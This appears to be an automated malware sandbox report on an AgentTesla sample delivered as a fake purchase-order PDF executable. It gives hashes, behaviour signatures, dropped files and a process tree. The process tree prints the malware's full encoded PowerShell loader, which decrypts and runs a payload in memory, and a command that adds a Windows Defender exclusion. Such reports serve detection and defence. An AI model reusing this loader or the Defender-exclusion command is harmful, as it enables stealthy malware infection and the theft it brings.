Analysis

  • max time kernel
    1026s
  • max time network
    614s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/05/2024, 21:31

General

  • Target

    Malware No Po.zip

  • Size

    763KB

  • MD5

    7fe38f866bdad793c6d0f3eedcf03a1f

  • SHA1

    398ae89ceec7709a59f25430317b2069aad88b10

  • SHA256

    6c6c3f47c2cc58b4490093a91b5fbc6ab048fa8ff5a50c7bbfff6c46764e3d66

  • SHA512

    79246d3270e75efbf6ec97148740b287863aa4b55ae4b8ae39f048d3079f0b5a3e6e0594b41835188b2ad6d7da001f3b3f50211fb87871a1bfe1a16c6beac84c

  • SSDEEP

    12288:IxgXo3qzZL50lWsdjPW1sgETvgqo/ej1WpIQRoJQwV4ZeaIqPgm0gAJTn/yefSgB:IGY3CL50FNPW1BETgf/iWUQwesa9YhKA

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Malware No Po.zip"
    1⤵
      PID:4800
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1952
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /7
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2512
      • C:\Users\Admin\Desktop\O▌¼8áü 8¥ÿdó▌ New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe
        "C:\Users\Admin\Desktop\O▌¼8áü 8¥ÿdó▌ New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcARAAsACAAMAB4ADkANQAsACAAMAB4ADUAQQAsACAAMAB4ADMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARgAsACAAMAB4ADIAMQAsACAAMAB4ADkAQwAsACAAMAB4ADEAQwAsACAAMAB4AEYANQAsACAAMAB4ADcARQAsACAAMAB4AEEAMwAsACAAMAB4AEYANAAsACAAMAB4ADQARgAsACAAMAB4ADYAOAAsACAAMAB4AEYAMQAsACAAMAB4ADkANgAsACAAMAB4ADkAMQAsACAAMAB4AEEARAAsACAAMAB4AEUARgAsACAAMAB4AEMAMgAsACAAMAB4AEMAOAAsACAAMAB4AEUAMwAsACAAMAB4AEEANwAsACAAMAB4ADcAQgAsACAAMAB4ADgAMQAsACAAMAB4AEYAQgAsACAAMAB4ADIAOQAsACAAMAB4AEQAOAAsACAAMAB4AEQANAAsACAAMAB4ADMAMAAsACAAMAB4ADIAMAApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyADYALAAgADAAeAAzAEEALAAgADAAeAA0AEIALAAgADAAeAA0ADEALAAgADAAeABGADUALAAgADAAeABGADkALAAgADAAeABEADgALAAgADAAeABDADUALAAgADAAeAA5AEUALAAgADAAeAA4ADEALAAgADAAeAA1AEYALAAgADAAeABEAEEALAAgADAAeAA1ADQALAAgADAAeAA2ADgALAAgADAAeABFADQALAAgADAAeABBADEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
          2⤵
          • UAC bypass
          • Windows security bypass
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\O▌¼8áü 8¥ÿdó▌ New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2492
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4972
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            3⤵
              PID:4376

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Malware No Po.zip

                Filesize

                763KB

                MD5

                7fe38f866bdad793c6d0f3eedcf03a1f

                SHA1

                398ae89ceec7709a59f25430317b2069aad88b10

                SHA256

                6c6c3f47c2cc58b4490093a91b5fbc6ab048fa8ff5a50c7bbfff6c46764e3d66

                SHA512

                79246d3270e75efbf6ec97148740b287863aa4b55ae4b8ae39f048d3079f0b5a3e6e0594b41835188b2ad6d7da001f3b3f50211fb87871a1bfe1a16c6beac84c

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w3bjdl3f.z2m.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\file-7204.putik

                Filesize

                34KB

                MD5

                c1b8f3a7fc5ee0d440c0d8e2007e5951

                SHA1

                2387f4cf70f0006f1b53464cd255076607c626a7

                SHA256

                1a94e878b6ade60c90adb0c4eeaa20ea887fbf58d4bb5ea578e488c1ddaf25cc

                SHA512

                dfb37a6bbd75c7460e1df5de0e2c5b1e928c563344245f78e988174186518255ae7ec32bf77742b313e468687dcea57ef5bcd3ad80347826a42ba837c61acc16

              • memory/2512-8-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-3-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-13-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-12-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-11-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-10-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-9-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-1-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-2-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/2512-7-0x0000020522520000-0x0000020522521000-memory.dmp

                Filesize

                4KB

              • memory/3988-15-0x0000017DF1A10000-0x0000017DF1A32000-memory.dmp

                Filesize

                136KB

              • memory/3988-26-0x0000017DF1D60000-0x0000017DF1D6C000-memory.dmp

                Filesize

                48KB

              • memory/3988-27-0x0000017DF1F40000-0x0000017DF1FD4000-memory.dmp

                Filesize

                592KB

              • memory/4972-28-0x0000000000400000-0x0000000000440000-memory.dmp

                Filesize

                256KB

              • memory/4972-38-0x0000000005690000-0x0000000005C34000-memory.dmp

                Filesize

                5.6MB

              • memory/4972-41-0x0000000005150000-0x00000000051B6000-memory.dmp

                Filesize

                408KB

              • memory/4972-42-0x0000000006040000-0x0000000006090000-memory.dmp

                Filesize

                320KB

              • memory/4972-43-0x0000000006130000-0x00000000061C2000-memory.dmp

                Filesize

                584KB

              • memory/4972-44-0x00000000060D0000-0x00000000060DA000-memory.dmp

                Filesize

                40KB